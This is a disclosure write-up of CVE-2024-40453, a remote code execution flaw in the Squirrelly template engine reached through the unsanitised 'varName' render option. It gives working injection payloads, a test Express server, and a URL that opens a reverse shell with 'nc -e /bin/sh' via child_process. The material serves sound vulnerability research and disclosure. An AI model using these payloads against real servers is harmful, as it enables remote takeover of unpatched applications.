-->
This is a writeup for CVE-2024-40453.
When looking through the Squirrelly source code, OwOverflow pointed out this segment of code in
src/compile-string.ts
to me:
var res =
"var tR='';" +
(env.useWith ? 'with(' + env.varName + '||{}){' : '') +
compileScope(buffer, env) +
'if(cb){cb(null,tR)} return tR' +
(env.useWith ? '}' : '')
(env
is the options
parameter passed to the render
function)
After following the complete function call chain (render -> handleCache -> compile -> compileString
), I found that the
env.varName
parameter is indeed not sanitized. At first glance, this seems like an easy way to inject arbitrary JS and
get RCE server-side. In order to get this exploit to work, the attacker should set env.useWith
so that env.varName
is injected.
The with
expression is an almost-deprecated Javascript feature that allows you to execute a block of code, appending
an object to the global scope chain. This is demonstrated below:
with ("asdf") {
console.log(toString()) // logs "asdf"
}
However, what is important is that we can inject an arbitrary expression into the with
argument. This can easily allow
us to get RCE! A simple payload would be:
// options.varName = 'console.log("x")'
with (console.log("x") || {}) {
// ...
}
This should execute the console.log("x")
statement and give us RCE.
We can set up a simple server to test this out.
const express = require("express")
const PORT = 3000
const app = express()
app.set("view engine", "squirrelly")
app.get("/", (req, res) => {
res.render("asdf", req.query)
})
app.listen(3000, () => {
console.log(`Server is running at port ${PORT}`)
})
Visiting the following URL to execute our payload:
http://localhost:3000?useWith=1&varName=console.log("x")
However, if we try to do this, we get the following error:
Squirrelly Error: Bad template syntax
Arg string terminates parameters early
======================================
var tR='';tR+='asdf\n';if(cb){cb(null,tR)} return tR
at SqrlErr (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:138:15)
at compile (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:881:19)
at handleCache (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:1002:12)
at tryHandleCache (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:1035:13)
at View.renderFile [as engine] (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:1064:12)
at View.render (/home/samuzora/test/node_modules/express/lib/view.js:135:8)
at tryRender (/home/samuzora/test/node_modules/express/lib/application.js:657:10)
at Function.render (/home/samuzora/test/node_modules/express/lib/application.js:609:3)
at ServerResponse.render (/home/samuzora/test/node_modules/express/lib/response.js:1048:7)
at /home/samuzora/test/index.js:9:7
What does this mean? Searching for the error message, we can see the error being raised at
src/compile.ts:44
:
try {
return new ctor(
options.varName,
'c', // SqrlConfig
'cb', // optional callback
compileToString(str, options)
) as TemplateFunction // eslint-disable-line no-new-func
} catch (e) {
if (e instanceof SyntaxError) {
throw SqrlErr(
'Bad template syntax\n\n' +
e.message +
'\n' +
Array(e.message.length + 1).join('=') +
'\n' +
compileToString(str, options)
)
} else {
throw e
}
The options.varName
parameter is being passed to the ctor
function (which is just a Function
constructor). The
Function
constructor takes in n+1
arguments, where the first n
arguments are parameters of the function to be
created, and the last argument is the function body. That’s what’s causing our error, since we’re passing
console.log("x")
into the parameter field. This means our injection occurs in the first parameter of the new function
being created, and should be a valid JS expression that can be passed in a parameter declaration. And our payload should
still execute as per normal in the with
expression.
Javascript allows for parameters to be destructured in the function definition like so:
function f({ a }) {
console.log(a)
// ...
}
This is done through object destructuring. It’s quite flexible and also allows for default values to be set:
function f({ a = 1 }) {
console.log(a)
}
This is the vector for our RCE. When setting the default value, the expression has to be evaluated, which we can use for RCE. Something like this should work:
function f({ a = console.log("x") }) {
console.log(a)
}
However, there’s a small problem - our payload is also being injected in the with
expression, and this syntax is
invalid there since it’s not a valid object initializer.
with ({ a = console.log("x") } || {}) {
// ...
}
Indeed, when we try this payload, it crashes as well:
Squirrelly Error: Bad template syntax
Invalid shorthand property initializer
======================================
var tR='';with({a=console.log("X")}||{}){tR+='asdf\n';if(cb){cb(null,tR)} return tR}
at SqrlErr (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:138:15)
at compile (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:881:19)
at handleCache (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:1002:12)
at tryHandleCache (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:1035:13)
at View.renderFile [as engine] (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:1064:12)
at View.render (/home/samuzora/test/node_modules/express/lib/view.js:135:8)
at tryRender (/home/samuzora/test/node_modules/express/lib/application.js:657:10)
at Function.render (/home/samuzora/test/node_modules/express/lib/application.js:609:3)
at ServerResponse.render (/home/samuzora/test/node_modules/express/lib/response.js:1048:7)
at /home/samuzora/test/index.js:9:7
Luckily, according to the docs, the destructuring syntax is quite flexible and allows for a lot more kinds of syntax:
const [a, b] = array;
const [a, , b] = array;
const [a = aDefault, b] = array;
const [a, b, ...rest] = array;
const [a, , b, ...rest] = array;
const [a, b, ...{ pop, push }] = array;
const [a, b, ...[c, d]] = array;
const { a, b } = obj;
const { a: a1, b: b1 } = obj;
const { a: a1 = aDefault, b = bDefault } = obj;
const { a, b, ...rest } = obj;
const { a: a1, b: b1, ...rest } = obj;
const { [key]: a } = obj;
let a, b, a1, b1, c, d, rest, pop, push;
[a, b] = array;
[a, , b] = array;
[a = aDefault, b] = array;
[a, b, ...rest] = array;
[a, , b, ...rest] = array;
[a, b, ...{ pop, push }] = array;
[a, b, ...[c, d]] = array;
({ a, b } = obj); // parentheses are required
({ a: a1, b: b1 } = obj);
({ a: a1 = aDefault, b = bDefault } = obj);
({ a, b, ...rest } = obj);
({ a: a1, b: b1, ...rest } = obj);
The most interesting syntax is this:
({ a: a1 = aDefault, b = bDefault } = obj);
It takes the value corresponding to the a1
key in obj
, and assigns it to a
. If a1
is not defined then it
evaluates aDefault
With this syntax, we can satisfy the with
expression since it’s now a valid object initializer. It also satisfies the
Function
constructor since it’s simply assigning the value to a different name. So we can use this for RCE!
// valid!
with ({ a: b = console.log("x") } || {}) {
// ...
}
// valid!
new Function("{ a: b = console.log('x') }", "c", "cb", "return 1")
Let’s test out our payload with a reverse shell:
Payload: { a: b = global.process.mainModule.require("child_process").execSync("nc -e /bin/sh localhost 1337") }
http://localhost:3000?useWith=1&varName=%7B%20a:%20b%20=%20global.process.mainModule.require(%22child_process%22).execSync(%22nc%20-e%20/bin/sh%20localhost%201337%22)%20%7D
And we have RCE!
In the process of writing the report, I realized that there are easier payloads that can be used:
[ a = console.log("x") ]
This payload is valid in both the with
expression and the Function
constructor.
// don't set useWith=1
{ a = console.log("x") }
With this payload, we can just bypass the with
expression entirely, and just inject the payload into the Function
constructor.
Note: When I first requested the CVE ID, I put my Gmail as the contact email, but didn’t receive any response. I’m
pretty sure that Gmail is blocking emails from mitre.org
which can’t be disabled, so I re-requested the CVE with
Outlook.
The vulnerability has been patched in v9.1.0.